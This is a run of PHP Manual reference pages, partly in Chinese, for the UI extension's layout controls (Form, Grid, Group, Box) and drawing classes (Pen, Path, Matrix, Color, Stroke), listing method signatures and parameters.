There are no user contributed notes for this page.


Delete Control

  • ? UI\Controls\Form::append
  • UI\Controls\Form::isPadded ?
  • PHP Manual
  • UI\Controls\Form
  • Delete Control

UI\Controls\Form::delete

(PHP 7, UI 0.9.9)

UI\Controls\Form::delete — Delete Control

说明

public UI\Controls\Form::delete ( int $index ) : bool

Shall delete the control at the given index in this Form

参数

index

The index of the control to remove

返回值

Indication of succcess

User Contributed Notes

There are no user contributed notes for this page.


Padding Detection

  • ? UI\Controls\Form::delete
  • UI\Controls\Form::setPadded ?
  • PHP Manual
  • UI\Controls\Form
  • Padding Detection

UI\Controls\Form::isPadded

(PHP 7, UI 0.9.9)

UI\Controls\Form::isPadded — Padding Detection

说明

public UI\Controls\Form::isPadded ( void ) : bool

Shall detect if padding is enabled on this Form

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Set Padding

  • ? UI\Controls\Form::isPadded
  • UI\Controls\Grid ?
  • PHP Manual
  • UI\Controls\Form
  • Set Padding

UI\Controls\Form::setPadded

(PHP 7, UI 0.9.9)

UI\Controls\Form::setPadded — Set Padding

说明

public UI\Controls\Form::setPadded ( bool $padded )

Shall enable or disable padding on this Form

参数

padded

User Contributed Notes

There are no user contributed notes for this page.


Control Grid (Arrangement)

(PHP 7, UI 0.9.9)

简介

A Grid is a control which is allows the arrangement of children into a grid

类摘要

UI\Controls\Grid extends UI\Control {
/* Constants */
const integer Fill ;
const integer Start ;
const integer Center ;
const integer End ;
const integer Leading ;
const integer Top ;
const integer Trailing ;
const integer Bottom ;
/* 属性 */
protected $controls ;
/* 方法 */
public append ( UI\Control $control , int $left , int $top , int $xspan , int $yspan , bool $hexpand , int $halign , bool $vexpand , int $valign )
public isPadded ( void ) : bool
public setPadded ( bool $padding )
/* 继承的方法 */
public UI\Control::destroy ( void )
public UI\Control::disable ( void )
public UI\Control::enable ( void )
public UI\Control::getParent ( void ) : UI\Control
public UI\Control::getTopLevel ( void ) : int
public UI\Control::hide ( void )
public UI\Control::isEnabled ( void ) : bool
public UI\Control::isVisible ( void ) : bool
public UI\Control::setParent ( UI\Control $parent )
public UI\Control::show ( void )
}

预定义常量

UI\Controls\Grid::Fill

UI\Controls\Grid::Start

UI\Controls\Grid::Center

UI\Controls\Grid::End

UI\Controls\Grid::Leading

UI\Controls\Grid::Top

UI\Controls\Grid::Trailing

UI\Controls\Grid::Bottom

属性

controls

Contains controls, should not be manipulated directly

Table of Contents

  • UI\Controls\Grid::append — Append Control
  • UI\Controls\Grid::isPadded — Padding Detection
  • UI\Controls\Grid::setPadded — Set Padding

User Contributed Notes

There are no user contributed notes for this page.


Append Control

  • ? UI\Controls\Grid
  • UI\Controls\Grid::isPadded ?
  • PHP Manual
  • UI\Controls\Grid
  • Append Control

UI\Controls\Grid::append

(PHP 7, UI 0.9.9)

UI\Controls\Grid::append — Append Control

说明

public UI\Controls\Grid::append ( UI\Control $control , int $left , int $top , int $xspan , int $yspan , bool $hexpand , int $halign , bool $vexpand , int $valign )

Warning

本函数还未编写文档，仅有参数列表。

参数

control

The Control to append

left

top

xspan

yspan

hexpand

halign

vexpand

valign

返回值

User Contributed Notes

There are no user contributed notes for this page.


Padding Detection

  • ? UI\Controls\Grid::append
  • UI\Controls\Grid::setPadded ?
  • PHP Manual
  • UI\Controls\Grid
  • Padding Detection

UI\Controls\Grid::isPadded

(PHP 7, UI 0.9.9)

UI\Controls\Grid::isPadded — Padding Detection

说明

public UI\Controls\Grid::isPadded ( void ) : bool

Shall detect if padding is enabled on this Grid

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Set Padding

  • ? UI\Controls\Grid::isPadded
  • UI\Controls\Group ?
  • PHP Manual
  • UI\Controls\Grid
  • Set Padding

UI\Controls\Grid::setPadded

(PHP 7, UI 0.9.9)

UI\Controls\Grid::setPadded — Set Padding

说明

public UI\Controls\Grid::setPadded ( bool $padding )

Shall enable or disable padding for this Grid

参数

padding

User Contributed Notes

There are no user contributed notes for this page.


Control Group (Arrangement)

(PHP 7, UI 0.9.9)

简介

A Group is a titled container for child controls

类摘要

UI\Controls\Group extends UI\Control {
/* 属性 */
protected $controls ;
/* Constructor */
public __construct ( string $title )
/* 方法 */
public append ( UI\Control $control )
public getTitle ( void ) : string
public hasMargin ( void ) : bool
public setMargin ( bool $margin )
public setTitle ( string $title )
/* 继承的方法 */
public UI\Control::destroy ( void )
public UI\Control::disable ( void )
public UI\Control::enable ( void )
public UI\Control::getParent ( void ) : UI\Control
public UI\Control::getTopLevel ( void ) : int
public UI\Control::hide ( void )
public UI\Control::isEnabled ( void ) : bool
public UI\Control::isVisible ( void ) : bool
public UI\Control::setParent ( UI\Control $parent )
public UI\Control::show ( void )
}

属性

controls

Contains controls, should not be manipulated directly

Table of Contents

  • UI\Controls\Group::append — Append Control
  • UI\Controls\Group::__construct — Construct a new Group
  • UI\Controls\Group::getTitle — Get Title
  • UI\Controls\Group::hasMargin — Margin Detection
  • UI\Controls\Group::setMargin — Set Margin
  • UI\Controls\Group::setTitle — Set Title

User Contributed Notes

There are no user contributed notes for this page.


Append Control

  • ? UI\Controls\Group
  • UI\Controls\Group::__construct ?
  • PHP Manual
  • UI\Controls\Group
  • Append Control

UI\Controls\Group::append

(No version information available, might only be in Git)

UI\Controls\Group::append — Append Control

说明

public UI\Controls\Group::append ( UI\Control $control )

Shall append a control to this Group

参数

control

The control to append

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Group

  • ? UI\Controls\Group::append
  • UI\Controls\Group::getTitle ?
  • PHP Manual
  • UI\Controls\Group
  • Construct a new Group

UI\Controls\Group::__construct

(PHP 7, UI 0.9.9)

UI\Controls\Group::__construct — Construct a new Group

说明

public UI\Controls\Group::__construct ( string $title )

Shall construct a new Group with the given title

参数

title

The text for the title label

User Contributed Notes

There are no user contributed notes for this page.


Get Title

  • ? UI\Controls\Group::__construct
  • UI\Controls\Group::hasMargin ?
  • PHP Manual
  • UI\Controls\Group
  • Get Title

UI\Controls\Group::getTitle

(PHP 7, UI 0.9.9)

UI\Controls\Group::getTitle — Get Title

说明

public UI\Controls\Group::getTitle ( void ) : string

Shall return the current title for this Group

参数

此函数没有参数。

返回值

The current title

User Contributed Notes

There are no user contributed notes for this page.


Margin Detection

  • ? UI\Controls\Group::getTitle
  • UI\Controls\Group::setMargin ?
  • PHP Manual
  • UI\Controls\Group
  • Margin Detection

UI\Controls\Group::hasMargin

(PHP 7, UI 0.9.9)

UI\Controls\Group::hasMargin — Margin Detection

说明

public UI\Controls\Group::hasMargin ( void ) : bool

Shall detect if this Group has a margin

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Set Margin

  • ? UI\Controls\Group::hasMargin
  • UI\Controls\Group::setTitle ?
  • PHP Manual
  • UI\Controls\Group
  • Set Margin

UI\Controls\Group::setMargin

(PHP 7, UI 0.9.9)

UI\Controls\Group::setMargin — Set Margin

说明

public UI\Controls\Group::setMargin ( bool $margin )

Shall enable or disable margins for this Group

参数

margin

User Contributed Notes

There are no user contributed notes for this page.


Set Title

  • ? UI\Controls\Group::setMargin
  • UI\Controls\Box ?
  • PHP Manual
  • UI\Controls\Group
  • Set Title

UI\Controls\Group::setTitle

(PHP 7, UI 0.9.9)

UI\Controls\Group::setTitle — Set Title

说明

public UI\Controls\Group::setTitle ( string $title )

Shall set the title for this Group

参数

title

The text for the new title

User Contributed Notes

There are no user contributed notes for this page.


Control Box (Arrangement)

(PHP 7, UI 0.9.9)

简介

A Box allows the arrangement of other controls

类摘要

UI\Controls\Box extends UI\Control {
/* Constants */
const integer Vertical ;
const integer Horizontal ;
/* 属性 */
protected $controls ;
/* Constructor */
public __construct ([ int $orientation = UI\Controls\Box::Horizontal ] )
/* 方法 */
public append ( Control $control [, bool $stretchy = FALSE ] ) : int
public delete ( int $index ) : bool
public getOrientation ( void ) : int
public isPadded ( void ) : bool
public setPadded ( bool $padded )
/* 继承的方法 */
public UI\Control::destroy ( void )
public UI\Control::disable ( void )
public UI\Control::enable ( void )
public UI\Control::getParent ( void ) : UI\Control
public UI\Control::getTopLevel ( void ) : int
public UI\Control::hide ( void )
public UI\Control::isEnabled ( void ) : bool
public UI\Control::isVisible ( void ) : bool
public UI\Control::setParent ( UI\Control $parent )
public UI\Control::show ( void )
}

属性

controls

Contains controls, should not be manipulated directly

预定义常量

UI\Controls\Box::Vertical

UI\Controls\Box::Horizontal

Table of Contents

  • UI\Controls\Box::append — Append Control
  • UI\Controls\Box::__construct — Construct a new Box
  • UI\Controls\Box::delete — Delete Control
  • UI\Controls\Box::getOrientation — Get Orientation
  • UI\Controls\Box::isPadded — Padding Detection
  • UI\Controls\Box::setPadded — Set Padding

User Contributed Notes

There are no user contributed notes for this page.


Append Control

  • ? UI\Controls\Box
  • UI\Controls\Box::__construct ?
  • PHP Manual
  • UI\Controls\Box
  • Append Control

UI\Controls\Box::append

(PHP 7, UI 0.9.9)

UI\Controls\Box::append — Append Control

说明

public UI\Controls\Box::append ( Control $control [, bool $stretchy = FALSE ] ) : int

Shall append the given control to this Box

参数

control

The control to append

stretchy

Set true to stretch the control

返回值

Shall return the index of the appended control, may be 0

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Box

  • ? UI\Controls\Box::append
  • UI\Controls\Box::delete ?
  • PHP Manual
  • UI\Controls\Box
  • Construct a new Box

UI\Controls\Box::__construct

(PHP 7, UI 0.9.9)

UI\Controls\Box::__construct — Construct a new Box

说明

public UI\Controls\Box::__construct ([ int $orientation = UI\Controls\Box::Horizontal ] )

Shall construct a new box

参数

orientation

Box::Horizontal or Box::Vertical

User Contributed Notes

There are no user contributed notes for this page.


Delete Control

  • ? UI\Controls\Box::__construct
  • UI\Controls\Box::getOrientation ?
  • PHP Manual
  • UI\Controls\Box
  • Delete Control

UI\Controls\Box::delete

(PHP 7, UI 0.9.9)

UI\Controls\Box::delete — Delete Control

说明

public UI\Controls\Box::delete ( int $index ) : bool

Shall delete the control at the given index from this Box

参数

index

The index of the control to delete

返回值

Indication of success

User Contributed Notes

There are no user contributed notes for this page.


Get Orientation

  • ? UI\Controls\Box::delete
  • UI\Controls\Box::isPadded ?
  • PHP Manual
  • UI\Controls\Box
  • Get Orientation

UI\Controls\Box::getOrientation

(PHP 7, UI 0.9.9)

UI\Controls\Box::getOrientation — Get Orientation

说明

public UI\Controls\Box::getOrientation ( void ) : int

Shall retrieve the orientation of this Box

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Padding Detection

  • ? UI\Controls\Box::getOrientation
  • UI\Controls\Box::setPadded ?
  • PHP Manual
  • UI\Controls\Box
  • Padding Detection

UI\Controls\Box::isPadded

(PHP 7, UI 0.9.9)

UI\Controls\Box::isPadded — Padding Detection

说明

public UI\Controls\Box::isPadded ( void ) : bool

Shall detect if padding is enabled on this Box

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Set Padding

  • ? UI\Controls\Box::isPadded
  • UI\Draw\Pen ?
  • PHP Manual
  • UI\Controls\Box
  • Set Padding

UI\Controls\Box::setPadded

(PHP 7, UI 0.9.9)

UI\Controls\Box::setPadded — Set Padding

说明

public UI\Controls\Box::setPadded ( bool $padded )

Shall enable or disable padding on this Box

参数

padded

User Contributed Notes

There are no user contributed notes for this page.


Draw Pen

(PHP 7, UI 0.9.9)

简介

The Pen is passed to the Area Draw event handler, it is used for clipping, filling, stroking, and writing to Draw Paths.

类摘要

final UI\Draw\Pen {
/* 方法 */
public clip ( UI\Draw\Path $path )
public fill ( UI\Draw\Path $path , UI\Draw\Brush $with )
public fill ( UI\Draw\Path $path , UI\Draw\Color $with )
public fill ( UI\Draw\Path $path , int $with )
public restore ( void )
public save ( void )
public stroke ( UI\Draw\Path $path , UI\Draw\Brush $with , UI\Draw\Stroke $stroke )
public stroke ( UI\Draw\Path $path , UI\Draw\Color $with , UI\Draw\Stroke $stroke )
public stroke ( UI\Draw\Path $path , int $with , UI\Draw\Stroke $stroke )
public transform ( UI\Draw\Matrix $matrix )
public write ( UI\Point $point , UI\Draw\Text\Layout $layout )
}

Table of Contents

  • UI\Draw\Pen::clip — Clip a Path
  • UI\Draw\Pen::fill — Fill a Path
  • UI\Draw\Pen::restore — Restore
  • UI\Draw\Pen::save — Save
  • UI\Draw\Pen::stroke — Stroke a Path
  • UI\Draw\Pen::transform — Matrix Transform
  • UI\Draw\Pen::write — Draw Text at Point

User Contributed Notes

There are no user contributed notes for this page.


Clip a Path

  • ? UI\Draw\Pen
  • UI\Draw\Pen::fill ?
  • PHP Manual
  • UI\Draw\Pen
  • Clip a Path

UI\Draw\Pen::clip

(PHP 7, UI 0.9.9)

UI\Draw\Pen::clip — Clip a Path

说明

public UI\Draw\Pen::clip ( UI\Draw\Path $path )

Shall clip the given Path

参数

path

The path to clip

User Contributed Notes

There are no user contributed notes for this page.


Fill a Path

  • ? UI\Draw\Pen::clip
  • UI\Draw\Pen::restore ?
  • PHP Manual
  • UI\Draw\Pen
  • Fill a Path

UI\Draw\Pen::fill

(PHP 7, UI 0.9.9)

UI\Draw\Pen::fill — Fill a Path

说明

public UI\Draw\Pen::fill ( UI\Draw\Path $path , UI\Draw\Brush $with )
public UI\Draw\Pen::fill ( UI\Draw\Path $path , UI\Draw\Color $with )
public UI\Draw\Pen::fill ( UI\Draw\Path $path , int $with )

Shall fill the given path

参数

path

The path to fill

with

The color or brush to fill with

User Contributed Notes

There are no user contributed notes for this page.


Restore

  • ? UI\Draw\Pen::fill
  • UI\Draw\Pen::save ?
  • PHP Manual
  • UI\Draw\Pen
  • Restore

UI\Draw\Pen::restore

(PHP 7, UI 0.9.9)

UI\Draw\Pen::restore — Restore

说明

public UI\Draw\Pen::restore ( void )

Shall restore a previously saved Pen

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Save

  • ? UI\Draw\Pen::restore
  • UI\Draw\Pen::stroke ?
  • PHP Manual
  • UI\Draw\Pen
  • Save

UI\Draw\Pen::save

(PHP 7, UI 0.9.9)

UI\Draw\Pen::save — Save

说明

public UI\Draw\Pen::save ( void )

Shall save the Pen

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Stroke a Path

  • ? UI\Draw\Pen::save
  • UI\Draw\Pen::transform ?
  • PHP Manual
  • UI\Draw\Pen
  • Stroke a Path

UI\Draw\Pen::stroke

(PHP 7, UI 0.9.9)

UI\Draw\Pen::stroke — Stroke a Path

说明

public UI\Draw\Pen::stroke ( UI\Draw\Path $path , UI\Draw\Brush $with , UI\Draw\Stroke $stroke )
public UI\Draw\Pen::stroke ( UI\Draw\Path $path , UI\Draw\Color $with , UI\Draw\Stroke $stroke )
public UI\Draw\Pen::stroke ( UI\Draw\Path $path , int $with , UI\Draw\Stroke $stroke )

Shall stroke the given path

参数

path

The path to stroke

with

The color or brush to stroke with

stroke

The configuration of the stroke

User Contributed Notes

There are no user contributed notes for this page.


Matrix Transform

  • ? UI\Draw\Pen::stroke
  • UI\Draw\Pen::write ?
  • PHP Manual
  • UI\Draw\Pen
  • Matrix Transform

UI\Draw\Pen::transform

(PHP 7, UI 0.9.9)

UI\Draw\Pen::transform — Matrix Transform

说明

public UI\Draw\Pen::transform ( UI\Draw\Matrix $matrix )

Shall perform matrix transformation

参数

matrix

The matrix to use

User Contributed Notes

There are no user contributed notes for this page.


Draw Text at Point

  • ? UI\Draw\Pen::transform
  • UI\Draw\Path ?
  • PHP Manual
  • UI\Draw\Pen
  • Draw Text at Point

UI\Draw\Pen::write

(PHP 7, UI 0.9.9)

UI\Draw\Pen::write — Draw Text at Point

说明

public UI\Draw\Pen::write ( UI\Point $point , UI\Draw\Text\Layout $layout )

Shall draw the given text layout at the given point

参数

point

The point to perform the drawing

layout

The layout of the text to draw

User Contributed Notes

There are no user contributed notes for this page.


Draw Path

(PHP 7, UI 0.9.9)

简介

A Draw Path guides a Draw Pen, telling the Pen where to draw on an Area.

类摘要

UI\Draw\Path {
/* Constants */
const integer Winding ;
const integer Alternate ;
/* Constructor */
public __construct ([ int $mode = UI\Draw\Path::Winding ] )
/* 方法 */
public addRectangle ( UI\Point $point , UI\Size $size )
public arcTo ( UI\Point $point , float $radius , float $angle , float $sweep , float $negative )
public bezierTo ( UI\Point $point , float $radius , float $angle , float $sweep , float $negative )
public closeFigure ( void )
public end ( void )
public lineTo ( UI\Point $point , float $radius , float $angle , float $sweep , float $negative )
public newFigure ( UI\Point $point )
public newFigureWithArc ( UI\Point $point , float $radius , float $angle , float $sweep , float $negative )
}

预定义常量

UI\Draw\Path::Winding

This is the default draw path mode

UI\Draw\Path::Alternate

This is the alternate draw path mode

Table of Contents

  • UI\Draw\Path::addRectangle — Draw a Rectangle
  • UI\Draw\Path::arcTo — Draw an Arc
  • UI\Draw\Path::bezierTo — Draw Bezier Curve
  • UI\Draw\Path::closeFigure — Close Figure
  • UI\Draw\Path::__construct — Construct a new Path
  • UI\Draw\Path::end — Finalize Path
  • UI\Draw\Path::lineTo — Draw a Line
  • UI\Draw\Path::newFigure — Draw Figure
  • UI\Draw\Path::newFigureWithArc — Draw Figure with Arc

User Contributed Notes

There are no user contributed notes for this page.


Draw a Rectangle

  • ? UI\Draw\Path
  • UI\Draw\Path::arcTo ?
  • PHP Manual
  • UI\Draw\Path
  • Draw a Rectangle

UI\Draw\Path::addRectangle

(PHP 7, UI 0.9.9)

UI\Draw\Path::addRectangle — Draw a Rectangle

说明

public UI\Draw\Path::addRectangle ( UI\Point $point , UI\Size $size )

Shall map the path of a rectangle of the given size, at the given point

参数

point

The point to begin the shape

size

The size of the rectangle

User Contributed Notes

There are no user contributed notes for this page.


Draw an Arc

  • ? UI\Draw\Path::addRectangle
  • UI\Draw\Path::bezierTo ?
  • PHP Manual
  • UI\Draw\Path
  • Draw an Arc

UI\Draw\Path::arcTo

(PHP 7, UI 0.9.9)

UI\Draw\Path::arcTo — Draw an Arc

说明

public UI\Draw\Path::arcTo ( UI\Point $point , float $radius , float $angle , float $sweep , float $negative )

Shall map the path for an arc

参数

point

The point to begin mapping

radius

The radius of the arc

angle

The angle of the arc

sweep

The sweep of the arc

negative

返回值

User Contributed Notes

There are no user contributed notes for this page.


Draw Bezier Curve

  • ? UI\Draw\Path::arcTo
  • UI\Draw\Path::closeFigure ?
  • PHP Manual
  • UI\Draw\Path
  • Draw Bezier Curve

UI\Draw\Path::bezierTo

(PHP 7, UI 0.9.9)

UI\Draw\Path::bezierTo — Draw Bezier Curve

说明

public UI\Draw\Path::bezierTo ( UI\Point $point , float $radius , float $angle , float $sweep , float $negative )

Shall draw a bezier curve

参数

point

The point at which to begin mapping

radius

The radius of the curve

angle

The angle of the curve

sweep

The sweep of the curve

negative

User Contributed Notes

There are no user contributed notes for this page.


Close Figure

  • ? UI\Draw\Path::bezierTo
  • UI\Draw\Path::__construct ?
  • PHP Manual
  • UI\Draw\Path
  • Close Figure

UI\Draw\Path::closeFigure

(PHP 7, UI 0.9.9)

UI\Draw\Path::closeFigure — Close Figure

说明

public UI\Draw\Path::closeFigure ( void )

Shall close the current figure

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Path

  • ? UI\Draw\Path::closeFigure
  • UI\Draw\Path::end ?
  • PHP Manual
  • UI\Draw\Path
  • Construct a new Path

UI\Draw\Path::__construct

(PHP 7, UI 0.9.9)

UI\Draw\Path::__construct — Construct a new Path

说明

public UI\Draw\Path::__construct ([ int $mode = UI\Draw\Path::Winding ] )

Shall construct a new path in the given mode

参数

mode

Path::Winding or Path::Alternate

User Contributed Notes

There are no user contributed notes for this page.


Finalize Path

  • ? UI\Draw\Path::__construct
  • UI\Draw\Path::lineTo ?
  • PHP Manual
  • UI\Draw\Path
  • Finalize Path

UI\Draw\Path::end

(PHP 7, UI 0.9.9)

UI\Draw\Path::end — Finalize Path

说明

public UI\Draw\Path::end ( void )

Shall finalize this Path

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Draw a Line

  • ? UI\Draw\Path::end
  • UI\Draw\Path::newFigure ?
  • PHP Manual
  • UI\Draw\Path
  • Draw a Line

UI\Draw\Path::lineTo

(PHP 7, UI 0.9.9)

UI\Draw\Path::lineTo — Draw a Line

说明

public UI\Draw\Path::lineTo ( UI\Point $point , float $radius , float $angle , float $sweep , float $negative )

Shall map the path for a line

参数

point

The point to begin mapping

radius

angle

sweep

negative

返回值

User Contributed Notes

There are no user contributed notes for this page.


Draw Figure

  • ? UI\Draw\Path::lineTo
  • UI\Draw\Path::newFigureWithArc ?
  • PHP Manual
  • UI\Draw\Path
  • Draw Figure

UI\Draw\Path::newFigure

(PHP 7, UI 0.9.9)

UI\Draw\Path::newFigure — Draw Figure

说明

public UI\Draw\Path::newFigure ( UI\Point $point )

Shall map a new figure at the given point

参数

point

The point to begin mapping

User Contributed Notes

There are no user contributed notes for this page.


Draw Figure with Arc

  • ? UI\Draw\Path::newFigure
  • UI\Draw\Matrix ?
  • PHP Manual
  • UI\Draw\Path
  • Draw Figure with Arc

UI\Draw\Path::newFigureWithArc

(PHP 7, UI 0.9.9)

UI\Draw\Path::newFigureWithArc — Draw Figure with Arc

说明

public UI\Draw\Path::newFigureWithArc ( UI\Point $point , float $radius , float $angle , float $sweep , float $negative )

参数

point

radius

angle

sweep

negative

返回值

User Contributed Notes

There are no user contributed notes for this page.


Draw Matrix

(PHP 7, UI 0.9.9)

简介

类摘要

UI\Draw\Matrix {
/* 方法 */
public invert ( void )
public isInvertible ( void ) : bool
public multiply ( UI\Draw\Matrix $matrix ) : UI\Draw\Matrix
public rotate ( UI\Point $point , float $amount )
public scale ( UI\Point $center , UI\Point $point )
public skew ( UI\Point $point , UI\Point $amount )
public translate ( UI\Point $point )
}

Table of Contents

  • UI\Draw\Matrix::invert — Invert Matrix
  • UI\Draw\Matrix::isInvertible — Invertible Detection
  • UI\Draw\Matrix::multiply — Multiply Matrix
  • UI\Draw\Matrix::rotate — Rotate Matrix
  • UI\Draw\Matrix::scale — Scale Matrix
  • UI\Draw\Matrix::skew — Skew Matrix
  • UI\Draw\Matrix::translate — Translate Matrix

User Contributed Notes

There are no user contributed notes for this page.


Invert Matrix

  • ? UI\Draw\Matrix
  • UI\Draw\Matrix::isInvertible ?
  • PHP Manual
  • UI\Draw\Matrix
  • Invert Matrix

UI\Draw\Matrix::invert

(PHP 7, UI 0.9.9)

UI\Draw\Matrix::invert — Invert Matrix

说明

public UI\Draw\Matrix::invert ( void )

Shall invert this matrix

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Invertible Detection

  • ? UI\Draw\Matrix::invert
  • UI\Draw\Matrix::multiply ?
  • PHP Manual
  • UI\Draw\Matrix
  • Invertible Detection

UI\Draw\Matrix::isInvertible

(PHP 7, UI 0.9.9)

UI\Draw\Matrix::isInvertible — Invertible Detection

说明

public UI\Draw\Matrix::isInvertible ( void ) : bool

Shall detect if this Matrix may be inverted

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Multiply Matrix

  • ? UI\Draw\Matrix::isInvertible
  • UI\Draw\Matrix::rotate ?
  • PHP Manual
  • UI\Draw\Matrix
  • Multiply Matrix

UI\Draw\Matrix::multiply

(PHP 7, UI 0.9.9)

UI\Draw\Matrix::multiply — Multiply Matrix

说明

public UI\Draw\Matrix::multiply ( UI\Draw\Matrix $matrix ) : UI\Draw\Matrix

Shall multiply this matrix with the given matrix

参数

此函数没有参数。

返回值

The new Matrix

User Contributed Notes

There are no user contributed notes for this page.


Rotate Matrix

  • ? UI\Draw\Matrix::multiply
  • UI\Draw\Matrix::scale ?
  • PHP Manual
  • UI\Draw\Matrix
  • Rotate Matrix

UI\Draw\Matrix::rotate

(PHP 7, UI 0.9.9)

UI\Draw\Matrix::rotate — Rotate Matrix

说明

public UI\Draw\Matrix::rotate ( UI\Point $point , float $amount )

Shall rotate this Matrix

参数

point

amount

User Contributed Notes

There are no user contributed notes for this page.


Scale Matrix

  • ? UI\Draw\Matrix::rotate
  • UI\Draw\Matrix::skew ?
  • PHP Manual
  • UI\Draw\Matrix
  • Scale Matrix

UI\Draw\Matrix::scale

(PHP 7, UI 0.9.9)

UI\Draw\Matrix::scale — Scale Matrix

说明

public UI\Draw\Matrix::scale ( UI\Point $center , UI\Point $point )

Shall scale this Matrix

参数

center

point

User Contributed Notes

There are no user contributed notes for this page.


Skew Matrix

  • ? UI\Draw\Matrix::scale
  • UI\Draw\Matrix::translate ?
  • PHP Manual
  • UI\Draw\Matrix
  • Skew Matrix

UI\Draw\Matrix::skew

(PHP 7, UI 0.9.9)

UI\Draw\Matrix::skew — Skew Matrix

说明

public UI\Draw\Matrix::skew ( UI\Point $point , UI\Point $amount )

Shall skew this Matrix

参数

point

amount

User Contributed Notes

There are no user contributed notes for this page.


Translate Matrix

  • ? UI\Draw\Matrix::skew
  • UI\Draw\Color ?
  • PHP Manual
  • UI\Draw\Matrix
  • Translate Matrix

UI\Draw\Matrix::translate

(PHP 7, UI 0.9.9)

UI\Draw\Matrix::translate — Translate Matrix

说明

public UI\Draw\Matrix::translate ( UI\Point $point )

Shall translate this Matrix

参数

point

User Contributed Notes

There are no user contributed notes for this page.


Color Representation

(PHP 7, UI 0.9.9)

简介

Represents RGBA colours, individual channels are accessible via public properties.

类摘要

UI\Draw\Color {
/* Constants */
const integer Red ;
const integer Green ;
const integer Blue ;
const integer Alpha ;
/* 属性 */
public $r ;
public $g ;
public $b ;
public $a ;
/* Constructor */
public __construct ([ UI\Draw\Color $color ] )
public __construct ([ int $color ] )
/* 方法 */
public getChannel ( int $channel ) : float
public setChannel ( int $channel , float $value ) : void
}

属性

r

Provides access to the red channel

g

Provides access to the green channel

b

Provides access to the blue channel

a

Provides access to the alpha channel

预定义常量

UI\Draw\Color::Red

Identifies the red channel

UI\Draw\Color::Green

Identifies the green channel

UI\Draw\Color::Blue

Identifies the blue channel

UI\Draw\Color::Alpha

Identifies the alpha channel

Table of Contents

  • UI\Draw\Color::__construct — Construct new Color
  • UI\Draw\Color::getChannel — Color Manipulation
  • UI\Draw\Color::setChannel — Color Manipulation

User Contributed Notes

There are no user contributed notes for this page.


Construct new Color

  • ? UI\Draw\Color
  • UI\Draw\Color::getChannel ?
  • PHP Manual
  • UI\Draw\Color
  • Construct new Color

UI\Draw\Color::__construct

(PHP 7, UI 0.9.9)

UI\Draw\Color::__construct — Construct new Color

说明

public UI\Draw\Color::__construct ([ UI\Draw\Color $color ] )
public UI\Draw\Color::__construct ([ int $color ] )

Shall construct a new color

参数

color

May be UI\Draw\Color or RRGGBBAA

User Contributed Notes

There are no user contributed notes for this page.


Color Manipulation

  • ? UI\Draw\Color::__construct
  • UI\Draw\Color::setChannel ?
  • PHP Manual
  • UI\Draw\Color
  • Color Manipulation

UI\Draw\Color::getChannel

(PHP 7, UI 0.9.9)

UI\Draw\Color::getChannel — Color Manipulation

说明

public UI\Draw\Color::getChannel ( int $channel ) : float

Shall retrieve the value for a channel

参数

channel

Constant channel identity

返回值

The current value of the requested channel

User Contributed Notes

There are no user contributed notes for this page.


Color Manipulation

  • ? UI\Draw\Color::getChannel
  • UI\Draw\Stroke ?
  • PHP Manual
  • UI\Draw\Color
  • Color Manipulation

UI\Draw\Color::setChannel

(PHP 7, UI 0.9.9)

UI\Draw\Color::setChannel — Color Manipulation

说明

public UI\Draw\Color::setChannel ( int $channel , float $value ) : void

Shall set the selected channel to the given value

参数

channel

Constant channel identity

value

The new value for the selected channel

返回值

User Contributed Notes

There are no user contributed notes for this page.


Draw Stroke

(PHP 7, UI 0.9.9)

简介

Holds the configuration for the Pen to perform a stroke

类摘要

UI\Draw\Stroke {
/* Constructor */
public __construct ([ int $cap = UI\Draw\Line\Cap::Flat [, int $join = UI\Draw\Line\Join::Miter [, float $thickness = 1 [, float $miterLimit = 10 ]]]] )
/* 方法 */
public getCap ( void ) : int
public getJoin ( void ) : int
public getMiterLimit ( void ) : float
public getThickness ( void ) : float
public setCap ( int $cap )
public setJoin ( int $join )
public setMiterLimit ( float $limit )
public setThickness ( float $thickness )
}

Table of Contents

  • UI\Draw\Stroke::__construct — Construct a new Stroke
  • UI\Draw\Stroke::getCap — Get Line Cap
  • UI\Draw\Stroke::getJoin — Get Line Join
  • UI\Draw\Stroke::getMiterLimit — Get Miter Limit
  • UI\Draw\Stroke::getThickness — Get Thickness
  • UI\Draw\Stroke::setCap — Set Line Cap
  • UI\Draw\Stroke::setJoin — Set Line Join
  • UI\Draw\Stroke::setMiterLimit — Set Miter Limit
  • UI\Draw\Stroke::setThickness — Set Thickness

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Stroke

  • ? UI\Draw\Stroke
  • UI\Draw\Stroke::getCap ?
  • PHP Manual
  • UI\Draw\Stroke
  • Construct a new Stroke

UI\Draw\Stroke::__construct

(PHP 7, UI 0.9.9)

UI\Draw\Stroke::__construct — Construct a new Stroke

说明

public UI\Draw\Stroke::__construct ([ int $cap = UI\Draw\Line\Cap::Flat [, int $join = UI\Draw\Line\Join::Miter [, float $thickness = 1 [, float $miterLimit = 10 ]]]] )

Shall construct a new Stroke

参数

cap

UI\Draw\Line\Cap::Flat, UI\Draw\Line\Cap::Round, or UI\Draw\Line\Cap::Square

join

UI\Draw\Line\Join::Miter, UI\Draw\Line\Join::Round, or UI\Draw\Line\Join::Bevel

thickness

The thickness of the stroke

miterLimit

Miter limit (default is sensible for all supported platforms)

User Contributed Notes

There are no user contributed notes for this page.


Get Line Cap

  • ? UI\Draw\Stroke::__construct
  • UI\Draw\Stroke::getJoin ?
  • PHP Manual
  • UI\Draw\Stroke
  • Get Line Cap

UI\Draw\Stroke::getCap

(PHP 7, UI 0.9.9)

UI\Draw\Stroke::getCap — Get Line Cap

说明

public UI\Draw\Stroke::getCap ( void ) : int

